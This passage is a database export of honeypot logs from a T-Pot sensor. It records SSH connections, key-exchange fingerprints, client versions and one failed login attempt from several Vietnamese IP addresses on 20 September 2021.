"@timestamp": "2021-09-20T11:09:59.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25426	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:59.400931+03	2021-09-20 14:15:10.120502+03	{"_id": "nwblAnwBvYTbRNuE_Rqh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c1e26292d73f", "@version": "1", "timestamp": "2021-09-20T11:09:59.400931Z", "@timestamp": "2021-09-20T11:09:59.400Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25427	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:59.381101+03	2021-09-20 14:15:10.122503+03	{"_id": "oAblAnwBvYTbRNuE_xrc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 820072130450549, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33018, "dest_port": 22, "timestamp": "2021-09-20T11:09:59.381101Z", "@timestamp": "2021-09-20T11:09:59.381Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25428	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:09:50.734693+03	2021-09-20 14:15:10.1235+03	{"_id": "4QblAnwBvYTbRNuE3Rm-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 44672, "dest_port": 22, "timestamp": "2021-09-20T11:09:50.734693", "@timestamp": "2021-09-20T11:09:50.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25429	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:51.173496+03	2021-09-20 14:15:10.1255+03	{"_id": "4gblAnwBvYTbRNuE3Rm-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49832, "timestamp": "2021-09-20T11:09:51.173496", "@timestamp": "2021-09-20T11:09:51.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25430	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:51.133215+03	2021-09-20 14:15:10.1265+03	{"_id": "5AblAnwBvYTbRNuE3hlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:49014 (192.168.176.2:22) [session: 615d1775190b]", "session": "615d1775190b", "@version": "1", "protocol": "ssh", "src_port": 49014, "dest_port": 22, "timestamp": "2021-09-20T11:09:51.133215Z", "@timestamp": "2021-09-20T11:09:51.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25431	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:51.168384+03	2021-09-20 14:15:10.1275+03	{"_id": "5QblAnwBvYTbRNuE3hlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:49832 (192.168.176.2:22) [session: 16dc7c646d81]", "session": "16dc7c646d81", "@version": "1", "protocol": "ssh", "src_port": 49832, "dest_port": 22, "timestamp": "2021-09-20T11:09:51.168384Z", "@timestamp": "2021-09-20T11:09:51.168Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25432	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:50.456865+03	2021-09-20 14:15:10.12947+03	{"_id": "9QblAnwBvYTbRNuE3hlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "18292ae7252b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:50.456865Z", "@timestamp": "2021-09-20T11:09:50.456Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25433	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:50.482256+03	2021-09-20 14:15:10.131471+03	{"_id": "9gblAnwBvYTbRNuE3hlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "23387219f17e", "@version": "1", "timestamp": "2021-09-20T11:09:50.482256Z", "@timestamp": "2021-09-20T11:09:50.482Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25434	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:50.735488+03	2021-09-20 14:15:10.13247+03	{"_id": "9wblAnwBvYTbRNuE3hlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "18292ae7252b", "@version": "1", "timestamp": "2021-09-20T11:09:50.735488Z", "@timestamp": "2021-09-20T11:09:50.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25435	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:50.753262+03	2021-09-20 14:15:10.13347+03	{"_id": "-AblAnwBvYTbRNuE3hlb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [super/super1234] failed", "session": "bfb60212f333", "@version": "1", "password": "super1234", "username": "super", "timestamp": "2021-09-20T11:09:50.753262Z", "@timestamp": "2021-09-20T11:09:50.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
